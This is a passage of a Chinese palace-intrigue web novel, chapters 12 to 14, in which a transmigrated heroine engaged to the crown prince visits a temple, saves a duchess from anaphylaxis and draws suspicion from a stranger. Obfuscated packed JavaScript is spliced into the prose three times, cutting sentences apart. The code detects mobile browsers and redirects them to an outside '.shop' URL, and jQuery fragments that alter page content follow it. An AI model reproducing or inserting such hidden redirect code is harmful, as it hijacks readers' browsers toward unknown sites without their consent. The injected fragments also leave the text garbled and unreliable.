剧情中,男主萧玄鹤是怎么算计死太子萧长离的? 这事说来其实并不算复杂。 萧玄鹤和林若华的初次见面,是在六公主举办的赏花宴上,那时林若华还未佩戴面纱。 而萧玄鹤曾在宫中见过前朝明月公主的画像,一眼便发觉林若华的眉眼鼻唇与画中人有八分相似。 只是她年纪尚小,再加上自幼体弱多病,面色蜡黄,身形瘦弱,才使容貌失了颜色,导致明珠蒙尘。 随着时间流逝,林若华的身体在萧玄鹤的暗中调养下渐渐好转,五官也长开了,她与明月公主的容貌越发相似,像是一个模子刻出来的。 萧玄鹤也私下动用力量仔细查探过她的身世,未寻到任何破绽。 世间当真有如此巧合之事? 他心中有了一个计划。 自从前朝太子逃亡后,其残余势力便一直蛰伏于暗处,想要伺机复国。 那段时日,他命心腹侍女将林若华妆扮成明月公主的模样,并时常带她去偏远的落月崖上练琴。 萧玄鹤对她的说辞是,父皇寿宴在即,若她能在宴上一鸣惊人,使龙颜大悦,萧玄鹤便能顺势请求父皇为他们赐婚。 至于为何是偏远无人的落月崖? 萧玄鹤的解释是,寿宴献艺需保密,此处幽静,无人打扰,最适合潜心练习,他已安排了暗卫在附近守护,绝不会让林若华有半分闪失。 这番漏洞百出的说辞,天真的林若华信了,还暗自感动,以为萧玄鹤真在为他们的未来谋划。 就连先前向父亲林兴业和继母叶氏提出学琴时所受的冷眼,以及妹妹林洛瑶的讥讽,此刻都被她抛到了九霄云外。 最终不知叶氏为何改口,允了她学琴,对外的说法是女儿家该学些才艺,日后也好说亲。 林若华紧紧抱住了怀中那把并不名贵的琴,仿佛抱住了唯一的希望,只盼着事情顺利,萧玄鹤能早日救她脱离苦海。 不久,萧玄鹤安排的人行动了。 市井间流传起前朝公主鬼魂现世,将于中元节重返人间的传言。 其中有不少前朝老人亲眼所见,明月公主的身影在落月崖上出现。 中元节当天,萧玄鹤又约出林若华,说要为她补及笄礼。 一年前,林兴业和叶氏全然忘了这件事,仿佛林家从未有过她这个女儿,而林洛瑶的及笄礼却早早便开始张罗。 林若华想也没想,精心打扮后前去赴约了。 而与此同时,恰好在附近办事的太子萧长离也收到了密报,说落月崖疑似有前朝余孽聚会。 本着宁可信其有的原则,他带人前去查看,果然撞上了来探查消息的前朝余孽。 两方人马狭路相逢,当即刀剑相向,厮杀起来。 前朝余孽的身份是真,发现当朝太子后乘机行刺也是真。 为保计划万无一失,萧玄鹤还将自己的表哥,也就是镇国公世子叶景谦拖下了水。 他称发现了前朝余孽的踪迹,但手中人手不足,唯恐打草惊蛇,此事关系重大,需心腹暗中布控,特向表兄借调人手。 谁让镇国公府虽是他的母族,但始终态度暧昧,不肯明确站队。 此举正好一石二鸟,既能借力,也能试探甚至逼迫舅家表态。 叶景谦也是个缺心眼的。 还真带人跟着萧玄鹤去了。 随后,萧玄鹤将叶景谦等人诱至树林深处,自己乘机脱身。 如果前朝余孽能成功刺杀萧长离,他便可坐收渔翁之利,将太子之死推给前朝余孽和办事不力的叶景谦。 如果事败,他便亲自补上最后一刀,确保萧长离绝无生还可能。 真正的权谋,就是这么朴实无华,最有用的永远是偷袭。 那么问题来了,经过此事,林若华还能说自己与前朝毫无瓜葛吗? 并且,世上真有两个毫无血缘,但长得一模一样的人吗? 有。 林若华双手揉搓着脸,把自己的脸都揉变形了,闷声对萧长离道:“如果我说自己和明月公主毫无关系,长得像纯粹是因为巧合,他们信吗?” 萧长离看着她孩子气的动作,眼中染上笑意,但随后又被凝重取代。 他无奈摇头:“是不是巧合,此刻已经不重要了。重要的是,你已被卷入了漩涡之中,成了有心人手上一枚关键的棋子。” 林若华哭丧着脸:“所以这是编剧埋的暗线?我难道真是前朝的小公主?” 前朝公主与当今帝王的爱情故事,前朝小公主与当今三皇子的爱情故事,真是,太狗血了。 萧长离轻声安慰道:“若你真是前朝太子的血脉,反不会取若华这个引人联想的名字。” 他看着林若华依旧不安的眼神,继续道:“不过,你的处境确实非常危险。” 林若华忽然抬起头,担忧地望向他:“我会不会连累你?” 萧长离闻言,温柔地笑了起来:“我本就是个麻烦缠身的人,说不定我们两个麻烦凑在一起,反而能负负得正呢。况且,要不是你,我早已命丧黄泉。” 他又打趣道:“救命之恩,理当以身相许。” 林若华闻言一笑,又忽觉不对:“对了,这桩婚事到底是怎么回事?” 萧长离收敛了笑意,正色道:“我恢复记忆后,立刻意识到你的处境极其危险。萧玄鹤既已利用你做了局,无论成败,你都已成为弃子,甚至可能被灭口。唯有将你置于最显眼,也最受保护的位置,才能暂时确保安全。” 他深吸一口气:“所以我第一时间入宫,恳求父皇赐婚。前朝羲和太子与明月公主在民间声望极高,父皇当年起兵亦是打着清君侧的旗号。因此,即便他暗中绝不会放过前朝血脉,明面上却不会公然处置羲和太子的后人,这也等于打了他自己的脸。不论父皇有何打算,他终究是准了。” 他凝视林若华,眼含歉意,语气酸涩:“事出紧急,没有问过你的意愿,是我唐突了。不过我们只是假成婚,我绝不会越矩。如果你日后遇到真心喜爱之人,太子妃虽不能和离,但我可以等事情过去以后,安排你假死脱身,为你换个新身份,送你远离京城。” 林若华听后,心中百感交集,既有感激,又夹杂着说不清道不明的复杂情绪:“谢谢你为我考虑,你已经为我做得够多了。” 不远处,凌北与苏南虽然听不到二人的对话,但以他们的眼力,太子脸上温柔的神情还是看得一清二楚。 凌北用手肘碰了碰身旁如冰山般的苏南,难掩惊诧,沉声道:“苏南,你看殿下的表情,我跟着殿下这么多年,从未见过他这般模样。你说,殿下会不会是那日落水的时候,被水鬼附身了?” 苏南白了他一眼,并不接话。 凌北自顾自地嘀咕:“不是啊,殿下笑得让我害怕。早知还不如跟其他兄弟一起,藏在树林里喂蚊子呢。” 苏南受不了凌北,面无表情地说:“那是因为爱。” 凌北惊讶道:“爱?你还懂什么叫爱?我还以为你只知道钱。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16423317|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏南终于看向他,冷冷地道:“若非为钱,我此刻也不会站在这里与你废话。” 凌北还想再说,苏南一个眼刀甩过去:“闭嘴,再聒噪,小心殿下把你调去洗马。” 凌北反驳道:“殿下怎会?我对殿下可是忠心耿耿……快看,殿下和林姑娘似乎说完了。” 萧长离将林若华送至马车前,轻声道:“天色已晚,我送你回府吧。” 林若华连忙摆手:“别了,我和苏南一起回去就好。林家的那些人看到你亲自送我回去,肯定是蚂蚁见了蜂糖一样,又要扑上来攀附纠缠,烦得很。” 萧长离也不坚持,笑了笑,叮嘱道:“也好,那我再多派两名侍卫随行,如今盯着你的人只怕是不少,万事小心。” 说罢,他招手唤来两名暗卫,低声吩咐了几句。 林若华点点头:“嗯,我知道了,你也一切小心。” 萧长离看着她上了马车,驶出一段距离后,车窗帘突然被掀开,林若华探出头来。 夕阳的金光映照在林若华的脸上,她露出一个明媚灿烂的笑容,用力地朝萧长离挥了挥手。 萧长离站在原地,也含笑摆手,与她告别。 落日的余晖正好落在萧长离身后,衬得他更加俊朗非凡,犹如画中仙。 直至马车消失在视野尽头,萧长离脸上的温柔笑容才如潮水般褪去,瞬间又变回了那个心思深沉的太子。 他负手而立,摩挲着拇指上的翡翠扳指,神态气度竟与老皇帝如出一辙。 “凌北。”他冷声唤道。 “属下在。”身后的凌北立刻上前一步,抱拳行礼。 “查得如何了?”萧长离的声音没有一丝温度。 “回殿下,属下带人连日搜寻,终于在落月崖下的暗河下游二十里处的浅滩,发现了石东的尸首。经仵作仔细查验,他一刀毙命,致命伤在胸口,判断死于七日前。另据查,石东的妻儿在其失踪前确曾被人掳走,但据其妻儿所述,他们对此事一无所知,只是在街上被不相识的壮汉强行带走,囚禁于城郊一处废弃院落长达十日,期间仅有基本的食物和水。看守之人早在事发前便已撤离,未留下任何线索。” 石东,与凌北一样,原是孤儿,被太子府收养栽培,也是中元节那夜本该护卫太子安危的太子右内率。四年前成家,妻子温柔,儿子可爱,一家三口,原本生活幸福美满。 萧长离听罢,唇角缓缓勾起一抹诡笑,他转过身,目光落在凌北低垂的头顶上,声音里带着两分玩味笑意:“孤一手提拔他,让他从一介孤儿成为太子右内率,享尽荣华富贵。不过短短三日,他就选择了背叛孤。你说,是不是孤给得不够多?” 凌北额头立刻冒出冷汗,头垂得更低,不敢接话。 萧长离似乎也并不需要他的回答,只是自言自语地说道:“孤那位一向沉稳隐忍的三弟,此番兵行险着,倒是出乎意料。看来,他是真的有些迫不及待了,有意思。” 想着想着,萧长离又轻笑出声,对凌北吩咐:“既然石东如此看重家人,不惜为此背叛旧主,那便成全他这份情深义重,送他们一家下去团聚吧,也免得他黄泉路上孤单。” 凌北心中一凛,立刻收敛所有情绪,沉声应道:“是,属下明白。” 萧长离不再多言,抬眼望向天际。 夕阳已彻底沉入落月崖下。 众人皆如皮影,在幕后之人的操纵下,演着一场早已写定的戏。 而现在,好戏才刚刚开场。 12. 上香 八月初十,秋高气爽,黄历宜出行、祈福、祭祀、沐浴、求子,是个诸事皆宜的好日子。 第一缕晨光透过雕花木窗洒进屋内,林若华望着窗外刚蒙蒙亮的天空,轻轻叹了口气。 这一个月来,风平浪静。 昔日门庭冷落的林家大小姐,如今竟接连收到十几封官宦女眷的请帖,不是赏花宴就是诗会。 林若华将那些精致的请帖搁在案头,对杜鹃和月季淡淡道:“都帮我推了吧,就说我即将大婚,需在家中静心备嫁。” 她虽无闺中密友,但难保不会冒出几个故人。 若在宴席上被人看出端倪,反倒麻烦,多一事不如少一事,索性闭门谢客。 自那日分别后,林若华再未见过萧长离。 但书信从未断过,他只说前朝余孽行刺一案牵连甚广,加之朝中事务堆积如山,一时抽不开身,暂时无法前来探望。 信末总是要添了一句“一切安好,勿念”以及“Haveagreatday”,让她的心稍稍安定,又不免露出笑意。 她将信仔细藏在衣柜里的最底层,偶尔取出反复观看,那熟稔的话语总能让她在这个陌生的世界里感到一丝温暖。 这些时日,林若华终日深居简出。 月季伺候茶水,杜鹃打理梳妆,苏南更是寸步不离地守护在侧,连街市都没去过。 这日子过得,倒比在剧组拍戏时还要规律。 除了吃饭睡觉,她就是埋头研读萧长离差人送来的各类书籍。 史书、地理志、律法条文、民间话本,甚至还有几本医书。 林若华将书中内容与现实世界逐一比对,发现大多能找到对应,却也有少许差异,不由感叹此方世界的神奇。 某一日,她翻开一本《有名地理志》,仔细一看,著者名叫张有名。 林若华:“……” 不过这书的确生动有趣,林若华不自觉地沉迷其中。 看到某页时,林若华眉头微蹙:“药王谷?苏南,你可听说过药王谷?这书上说它在青山深处,谷中遍植奇花异草,医者皆能活死人肉白骨。” 那颗让萧长离起死回生的神药,不正是出自药王谷? 苏南立在窗边,闻言,略一沉吟:“江湖上确有这个传说。不过药王谷避世已久,已有数十年无人见其踪迹。” 林若华若有所思地点点头,又翻开一本医书:“那这血怨丹呢?说是能让人在睡梦中离世……” 话音未落,月季捧着个锦盒进来:“小姐,太子殿下又差人送东西来了。” 萧长离之前给她送了不少京城时兴的衣裳首饰,不知这次又是什么。 打开一看,盒中装有两千两银票。 林若华捻着银票,眉眼弯弯:“太好了,正愁没钱给苏南发工资呢。” 苏南淡淡瞥她一眼,依旧默不作声,只是嘴角微微扬起,几不可闻。 一个月前林兴业曾提议从林洛瑶处拨些人手过来伺候,后来被林若华婉拒。 开玩笑,就是林洛瑶肯给,她也不敢用啊。 聪明的坏人行事尚且讲究章法,愚蠢的坏人作恶那是从不讲道理。 难保林洛瑶不会突发奇想,下毒这等事,未必做不出来。 蹊跷的是,向来好动的林洛瑶这些时日竟也安分待在院中,连吃饭都命人送至房内,实在反常。 林若华暗自警惕,不知这位妹妹又在暗中想使什么坏。 这日早膳后,林兴业照例前往工部。 而叶氏和颜悦色地拉起林若华的手,柔声道:“若华,今日天气晴好,母亲带你和洛瑶去感恩寺上香,既为家人祈福,也盼你与太子姻缘美满,早生贵子。” 林若华正喝着茶,被这句“早生贵子”呛得连连咳嗽,忙用帕子掩住口鼻,脸颊瞬间涨得通红。 叶氏以帕掩唇,轻笑道:“瞧把我们若华羞的。这有什么,女子出嫁后,开枝散叶本就是头等大事。”说着又压低声音,“太子殿下正值盛年,你早些诞下皇孙,地位才能稳固。” 林若华忍不住想要扶额,不过这些时日实在是闷得发慌,也乐得借此出门透透气。 临出发时,林洛瑶才扭捏现身。 她今日穿了一身绣着黄色牡丹的红裙,头插十二支点翠蝴蝶金钗,鬓边还簪着一朵硕大无比的牡丹绢花,整个人打扮得如同一棵行走的圣诞树。 林若华:“?” 这打扮好眼熟啊,这不是她入宫面圣那日的装束吗? 简直是一模一样,一样的晃瞎双眼。 也不知林洛瑶从哪里找来的这一身行头,上回从她那里借来的衣裳首饰可都还没还呢。 林若华再低头看自己这身月白云纹罗裙,是萧长离特意命宫中绣娘裁制,清雅别致。 发间只戴着皇后所赐的牡丹宝石金钗,让杜鹃梳个简单随云髻,零星点缀了些珍珠小发簪。 林洛瑶面上虽不见下聘那日的癫狂,只是眼中仍藏着几分尖酸。 她高昂着下巴,不甘示弱地瞪着林若华,嘴角挑着一丝讥讽的冷笑:“姐姐今日这身未免太过素净,不知道的还以为咱们林家亏待了未来的太子妃呢。” 林若华嫣然一笑:“妹妹这身倒是隆重,不知情的还以为妹妹今日是要定亲呢。” 叶氏见状,急忙上前打圆场,一手挽着林若华,一手拉着林洛瑶,温言道:“好了好了,姐妹间要互相照应,一家子方能和睦。若华即将出嫁,洛瑶你这个做妹妹的,更要懂事些。” 林若华嘴角微抽,林洛瑶冷哼扭头,谁也没有接话。 叶氏恍若未觉,笑吟吟地携二人登车。 最终叶氏与林洛瑶同乘一辆,林若华与苏南同乘一辆,带着丫鬟婆子仆从护卫,一路摇摇晃晃地驶向城西。 感恩寺坐落城西小山坡上,历经三朝,香火鼎盛数百年,据说极为灵验,是达官贵人女眷常去添香火的地方。 马车在山脚停下,一行人沿青石阶蜿蜒而上,但见香客络绎不绝,既有锦衣华服的贵人,也有寻常布衣的百姓。 空气中弥漫着檀香的气息,混杂山间草木的清新,偶有钟声从山顶传来,悠远空灵,令人心安。 在观音殿跪拜时,林若华仰望着宝相庄严的观音像,心中泛起一阵惆怅。 她双手合十,默默祈愿:如果这世上真有神佛,为什么我从前那样祈求,却从来没有得到过回应?如果您真能听见信徒的心声,请保佑我与长离在这个陌生的世界平安顺遂吧。 叶氏又领着二人去庙祝处解签,留着山羊胡的中年庙祝慢悠悠问道:“两位小姐所求何事?” 叶氏忙笑道:“为我这两个女儿求问姻缘。” 庙祝先拿起林若华的签文,摸着胡子摇头晃脑道:“‘第二十签,上上,辰宫。解曰:佛力扶持,有灾无危,福自天生,百事遂意。此签阴阳会合之象,凡事和合大吉也。’” 他抬眼细细端详林若华面容,又道,“小姐这签极好,红鸾星动,良缘天定,将来必定夫妻和顺,子孙满堂。” 林洛瑶听罢,急忙递上自己的签文。 庙祝接过一看,眉头顿时皱起:“‘第七十签,下下,辰宫。解曰:春花阴雨,久而不晴,求谋无用,不如安静。此签蜜蜂采 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16427409|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花之象,凡事劳心费力也。’,终究是镜花水月,一场空忙。” “胡说八道!”林洛瑶听得咬碎银牙,猛地夺回签文撕得粉碎,“定是你这老头子与她们串通好了来诓我!” 她跺脚狠狠瞪了林若华一眼,“都是你,自从你得了势,便处处压我一头,连求签都要与我作对!”说罢扭身便跑。 “洛瑶!”叶氏拉之不及,只得对林若华歉然道,“妹妹年少不懂事,我去瞧瞧。若华,你莫要乱走,就在寺里等候。”说罢不等林若华回应,便带着一群丫鬟婆子匆匆追去,只留林若华与苏南站在原地。 这也怪她? 林若华望着她们远去的背影,无奈地摇了摇头。 她轻轻拉了拉苏南的衣袖:“苏南,你要不要也求一签看看?” 苏南面无表情地说:“我不信神佛。” “为何?”林若华好奇地问。 “若神佛真有灵,这世间便不会有那么多不平事。”苏南的声音很冷,带着看透世事的沧桑。 林若华若有所思地点点头,浅笑道:“那我们在寺里随便走走吧。” 苏南点头应下。 二人信步而行,不知不觉间走到了后山的厢房处,这里比前殿清静许多,偶有僧侣经过,皆是低头默诵,不见香客踪影,只偶尔听到几声鸟鸣。 正要转身返回,忽然隐约听到呻吟,那声音嘶哑,断断续续。 林若华与苏南对视一眼,循声小心上前查看。 厢房外的院落里栽着七八株木芙蓉,粉的,白的,开得正艳。 就在一株繁茂的花树下,一位四十多岁、身着宝蓝缎裙的贵妇倒地不起。 她面色潮红,呼吸急促,不停地打着喷嚏,眼泪直流,喉咙里发出“赫赫”的声音,显然已是呼吸困难。她的双手无力地抓挠着脖颈,眼看就要昏厥过去。 林若华快步上前查看,见她脖颈、手背已起满红疹,立即对苏南急道:“是过敏性休克!把她背到厢房里去!” 苏南立即蹲下,林若华将妇人扶到她背上。 她们就近寻了间厢房,苏南一脚踢开房门,见屋内无人,便将妇人平放在床榻上。 “苏南,你把她的双脚抬高,促进血液回流。” 林若华一边吩咐,一边快步走到桌边,从茶壶中倒出水浸湿帕子,轻轻为妇人擦拭脸颊和脖颈,又将她衣领松解,确保呼吸通畅。 渐渐地,妇人急促的呼吸平缓下来,肿胀的眼皮微微颤动,睁开了眼睛。 她张了张嘴,似乎想说什么。 “暂且莫要开口,好好休息。”林若华一边柔声安抚,一边仔细为妇人整理鬓发。 待气息稍定,妇人方才感激地握住林若华的手,声音仍有些虚弱:“多谢姑娘救命之恩,妾身乃镇国公夫人王窈莲。今日若非姑娘相救,怕是凶多吉少。” 她细细端详林若华清丽的面容,眼中满是感激,“不知姑娘是哪家的小姐?生得这般水灵,心地又善良,方才意识模糊时,见姑娘眉目如画,衣袂飘飘,我还以为是观音娘娘显灵来救我了。” 林若华正要答话,却听身后传来急促的脚步声。 回头一看,只见另一位穿着墨绿色衣裙的妇人立在门外,双目圆睁,面无人色,正死死盯着她,伸出的手指颤抖得厉害。 “不可能……这不可能!”绿衣妇人的声音因惊恐而尖利,“你怎么还活着?你不是应该……应该已经……” 她踉跄着后退两步,脸色惨白如纸,活像是见了从地狱爬出来的恶鬼。 院子一时间静得可怕,只余风吹过木芙蓉的沙沙声。 13. 不识 啊? 她是在指着我说话吗? 绿衣妇人颤抖的手直指林若华,林若华也在不动声色地打量对方。 这妇人四十多岁,身形瘦削,与一旁蓝衣妇人的丰腴富态截然不同。 一道断眉配上尖削的下巴,加上此刻因惊怒而扭曲的神情,更显得刻薄凌厉。 这般有辨识度的相貌,若是在剧中出现过,林若华绝不会没有印象。 这又是从哪里冒出来的隐藏人物? 她认识的是六品小官之女林若华,还是那位早已香消玉殒的明月公主? 可无论是哪个身份,都是正面人物,这反应未免太过蹊跷了。 林若华甚至能清楚地看到对方瞳孔中快要溢出来的恐惧。 “夫人、夫人您怎么样了?”一个十四五岁的小丫鬟像一只受惊的兔子,急匆匆闯进了厢房,总算打破了这诡异的气氛。 她扑到镇国公夫人榻前,眼泪像断了线的珠子噼里啪啦往下掉,声音带着哭腔:“奴婢方才寻不着人,都快急死了,幸好、幸好半路遇见了安乐侯夫人……” 等等,安乐侯? 这个在剧中只是个庸碌无为的背景板角色,不就是女主的父亲吗? 如此说来,眼前这位神色惊怒的绿衣妇人,就是女主的嫡母了。 剧中这对夫妇在女主随男主回京后不久便双双离世,死因语焉不详,只是为了衬托出女主的孤苦无依,好让男主顺理成章地照顾她。 和自己一样,都只是推动剧情的背景工具人。 林若华又将目光悄然转向榻上的镇国公夫人。 见她面上红疹已褪去大半,眼睑也不再肿胀得骇人,结合方才自报的家门,林若华认出来了,这位便是痴情男二叶景谦的母亲。 “听闻镇国公夫人与安乐侯夫人原是手帕交,早年还曾有意结为儿女亲家,可惜后来安乐侯夫妇骤然离世,这桩婚事便不了了之。”以上是某配角的原台词。 看来今日她们是相约来寺中上香,顺便求儿女姻缘的。 可安乐侯夫人为何看到她这张脸会吓成那样,她与林若华或者是与明月公主,究竟有什么不为人知的过节? 林若华面上适时露出恰到好处的困惑,而镇国公夫人王窈莲也同样蹙起了眉头,目光中带着明显的不赞同。 “阿棠,”王窈莲的声音里带着难得一见的严厉,对相识二十余年的挚友生出几分恼意,“胡言乱语些什么?青天白日,佛门净地,莫要口出妄语。这位姑娘方才救了我的性命,若非她施以援手,我此刻怕是凶多吉少。她是活生生的人,是我的恩人。” 安乐侯夫人被这番斥责惊醒,眼神闪烁了一下,像是才想起正事,快步走到榻前,习惯性地在腰间掏出一个绣着缠绕树枝的荷包,从里面取出一枚乌黑的小药丸,动作熟练地喂入王窈莲口中。 小丫鬟连忙奉上温热的茶水,小心翼翼地伺候她吞咽下去。 其间,安乐侯夫人的目光不时瞟向一旁的林若华,惊疑不定,额间冒出了冷汗。 待王窈莲稍稍平复气息后,她并未立刻理会身旁神色不安的安乐侯夫人,反而热情地拉起林若华的手,掌心温暖,目光慈爱,再次问道:“好孩子,吓着你了吧?我这姐妹今日不知怎的,竟是魔怔了。你千万别往心里去。方才情况紧急,还未请教,你是哪家府上的千金?这般品貌气度,定然不是寻常人家能教养出来的。可曾许了人家?” 这问话里,除了感激,似乎还藏着一丝别的意味。 安乐侯夫人闻言,脸色骤变,袖中双手猛然攥紧。 这一幕落进了王窈莲和林若华眼里,二人都心照不宣地佯装未见。 林若华浅笑答道:“回夫人话,家父是工部主事林兴业。小女定下亲事了。” 在场的人瞬间明白过来,原来这位便是一个月前得太子殿下亲请圣旨、又蒙皇后娘娘盛赞的准太子妃。 只是她素来深居简出,赐婚后更是闭门谢客,京中识得她真容的人寥寥无几。 王窈莲面露惋惜,轻叹道:“原来如此……” 而安乐侯夫人骤然松了一口气,随后又像是被什么东西刺痛了,指甲深深掐入掌心。 “怪不得连皇后娘娘都对你赞不绝口,说你蕙质兰心,今日一见,果然名不虚传。”王窈莲笑着,语气真诚,随即又若有所思地瞥了一眼身旁僵住的安乐侯夫人,意有所指地补充道,“娘娘凤目如炬,慧眼识珠,你确实是个万里挑一的好姑娘,合该有这样的福分。” 林若华谦逊地微微低头,面含得体的笑意:“夫人谬赞了,皇后娘娘厚爱,臣女愧不敢当。” 她转而关切地提醒,神情变得凝重,“倒是您方才的症状,乃是过敏性休克,发作起来十分凶险,若救治不及,后果不堪设想。看情形应当不是第一回发作了吧?夫人可否仔细回想,每次发作时,是否都吃过或者接触过什么东西?此症关乎性命,日后定要远远避开,身边也需常备对症的药物才是。” 王窈莲并不知晓何谓“过敏性休克”,但大体能明白林若华的意思。 凝神思索片刻,缓缓道:“年轻时似乎也曾发作过一次,但症状很轻,只当是沾染了不干净的东西。后来这二十年间,也断断续续有过几次胸闷气短,呼吸不畅,却都不似今日这般严重,歇息片刻也就缓过来了……如今经你提醒,细细想来,似乎每次不适,确实都在野外或是院子里见到木芙蓉,尤其是花开得最盛之时……” 她眼中露出恍然与更深切的后怕神色,“今日寺中厢房外的木芙蓉,确是开得极好……我竟从未将二者联系起来!” 林若华神情郑重地叮嘱:“如此便能确定了,夫人既已确认是对木芙蓉花粉过敏,往后切记要远远避开此花,尤其是花开繁盛之时,日常饮食也需留意。” 她望了一眼窗外天色,柔声道,“家母还在等候,恐其挂念,请容若华先行告退。” “这是自然,怎好再耽搁你。”王窈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16437116|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莲握住林若华的手紧了紧,目光恳切,郑重承诺,“今日救命之恩,没齿难忘,他日必当备妥厚礼,登门致谢。” 林若华行礼告别后,带上苏南匆匆离去,她早就发觉事情不对了,怕是又被牵扯进了阴谋里。 这些人,都不简单啊。 待二人走远,王窈莲脸上的温和笑意渐渐收敛。 她招手唤来小丫鬟,以袖掩唇,迅速嘱咐了几句,声音压得极低,只有她们二人能听见。 小丫鬟闻言,眼睛瞪得溜圆,脸上瞬间血色尽褪,露出惊骇至极的表情,也顾不得行礼,提着裙子匆匆退出厢房,还反手将房门关得严严实实,隔绝了室内一切声响。 室内顿时陷入沉寂。 良久,王窈莲望着窗棂投下的斑驳光影,眼神有些飘忽,幽幽叹道:“小香这丫头,胆子小,做事也毛躁,远不及她娘当年稳重贴心。文礼曾劝过我,说我自己本就不够精明,身边还总跟着个笨笨的小丫鬟,让他不安心。” 她声音里带着一种物是人非的苍凉,“可我这个人,就是念旧。总想着看在她早逝娘亲的情分上多担待些,多护着些。况且小香虽笨拙,至少心思纯良,不曾动过什么歪念头,留在身边,倒也安心。” 安乐侯夫人低头不语。 王窈莲转头,凝视着这位昔日的故友,轻声道:“阿棠,你我相识,有多少年了?算起来,从当年我们一起在战乱后尸横遍野的城中奔走,我帮你包扎伤患,救治那些奄奄一息的人起,到现在已经二十多年了。” 她顿了顿,声音里带上了一丝的哽咽,“那个仁心仁术、救死扶伤的沙医女,何时变成了如今这个,让我觉得如此陌生的安乐侯夫人?” 安乐侯夫人沙棠扯了扯嘴角,闭上双眼,声音沙哑道:“我……” “若你想与镇国公府结亲,大可直接与我明言。”王窈莲摇头轻叹,“当年若非你悉心为我调理,我也不会有谦儿这个孩子。这份情我一直记着,这些年来也尽力帮扶你。今日之事我不会对外人提及,只是往后……你我便各自安好,少往来些吧。” “窈莲!”沙棠急忙唤道。 就在这时,房门猛地从外面推开,打断了未尽之言。 “夫、夫人……轿、轿子已经备好了,国公爷也派人来问了……”小香气喘吁吁地站在门口,因跑得急,小脸通红,额头冒汗,身后跟着一群原本在寺门外等候的丫鬟仆妇。 小香快步上前,小心翼翼地搀扶起镇国公夫人。 王窈莲借着她的力道站起身,挺直了脊背,由众人簇拥着,头也不回地离去。 待脚步声彻底消失,厢房里只剩沙棠一个人时,空寂的房间里,忽然响起一阵压抑不住的低笑,那笑声起初很轻,带着颤抖,随后越来越大,越来越癫狂。 “呵呵……哈哈哈哈哈……来晚了,我又来晚了……” 那笑声凄凉悲哀,好似杜鹃啼血,门外木芙蓉正开得灿烂,粉白花瓣随风卷入了厢房中。 14. 巧合 第二日清晨,天光微熹,林府的门房便收到了镇国公府遣人送来的拜帖。 叶氏捧着拜帖,眼角眉梢俱是压不住的喜色,对身边的贴身嬷嬷道:“快!快去告诉二小姐!镇国公夫人亲自递帖,这是天大的脸面,让她好好梳妆打扮。” 这声音中还带着扬眉吐气的快意。 林洛瑶闻讯,得意地扬起下巴,昨日在感恩寺积攒的郁气一扫而空,取而代之的是满脸掩不住的痛快。 原来是昨日下午在寺中,林洛瑶偶遇几位素来不睦的官家小姐,双方言语间起了龃龉。 那几位小姐见她打扮得花枝招展,便故意在她面前高声谈笑,说什么“山鸡插上羽毛也变不成凤凰”,分明是在讥讽她的装扮。 这些话直将她气得七窍生烟,当场便要发作,却被赶来的叶氏死死拉住。 几位小姐见有人来,便各自散开了。 林洛瑶性子本就骄纵浅薄,在京中贵女圈里看不惯她的大有人在。 至于是否会忌惮她那位准太子妃姐姐,相熟的人家谁不知晓她们姐妹二人势同水火,昔日林洛瑶可没少在外败坏她姐姐的名声。 此刻踩低林洛瑶,说不定还能间接讨好那位未来的中宫之主呢。 林洛瑶想起昨日的遭遇,仍气得牙痒,对着铜镜不停地试钗环。 “娘,你说镇国公夫人是不是……”林洛瑶一番打扮后,来到厅堂,悄声对叶氏说道,脸上还泛起红晕,“听说世子正在议亲。” 叶氏会意地点头,母女二人相视而笑。 巳时,镇国公夫人王窈莲的马车便稳稳停在了林府门前,小丫鬟小香搀扶着丰腴富态的国公夫人下车,身后还跟着一群丫鬟婆子仆从护卫。 叶氏忙不迭亲自相迎,脸上堆满了热络的笑容,特意唤上盛装打扮的林洛瑶与林若华一同在厅堂见客。 林若华之前就想着,林洛瑶怎么突然转性了。 昨日气急败坏,今天喜气洋洋。 原来是因为镇国公夫人。 要问林若华怎么知道的? 昨日感恩寺回府这一路上,林洛瑶搅得众人不得安宁。 先是哭声震天,继而破口大骂:“那几个小贱人,日后定要她们好看!” 这动静,隔着马车都能听见。 谁料,镇国公夫人进门后,径直走向林若华,亲切地拉起她的手,连连夸赞:“好孩子,快让我好好看看。回府后太医看了都后怕,说若不是你当时处置得当,后果不堪设想。你可是我的救命恩人。” 她又转头对叶氏说:“府上真是养了个好女儿,心地善良,宠辱不惊。” 话语间对林若华的喜爱之情溢于言表。 叶氏脸上的笑容瞬间僵住了,林洛瑶更是猛地转头,难以置信地看向林若华。 